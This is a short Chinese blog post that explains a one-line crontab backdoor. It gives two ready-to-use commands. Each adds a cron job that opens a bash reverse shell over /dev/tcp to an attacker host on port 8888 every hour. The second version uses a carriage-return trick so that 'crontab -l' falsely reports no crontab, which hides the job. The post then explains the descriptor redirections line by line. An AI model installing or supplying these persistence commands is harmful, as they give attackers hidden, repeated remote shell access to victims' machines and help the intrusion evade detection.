crontab一句話後門分析
阿新 • • 發佈:2018-12-05
正常版本
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
升級猥瑣版本
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
crontab -l直接提示no crontab
分析:
echo '*/60 * * * *'
crontab格式 每隔60分鐘執行一次
exec 9<>/dev/tcp/127.0.0.1/8888
以讀寫方式開啟/dev/tcp,並指定伺服器名為:127.0.0.1(攻擊機) 埠號為:8888,指定描述符為9
要注意的是:/dev/tcp本身是不存在的,在/dev目錄下是找不到的
exec 0<&9;exec 1>&9 2>&1;
linux 三個基本檔案描述符 0:stdin 1:stdout 2:stderr
n >&m 表示使檔案描述符n成為描述符m的副本
exec 0<&9; 將fd9從定向到標準輸入;
exec 1>&9 2>&1; 將標準輸出從定向到檔案fd9,將標準錯誤從定向到標準輸出.
簡單的理解為fd9=fd0 fd1=fd9 所以我的理解是,fd9從標準輸入讀入字元,處理後結果用標準輸出輸出.
/bin/bash --noprofile -i
開啟一個shell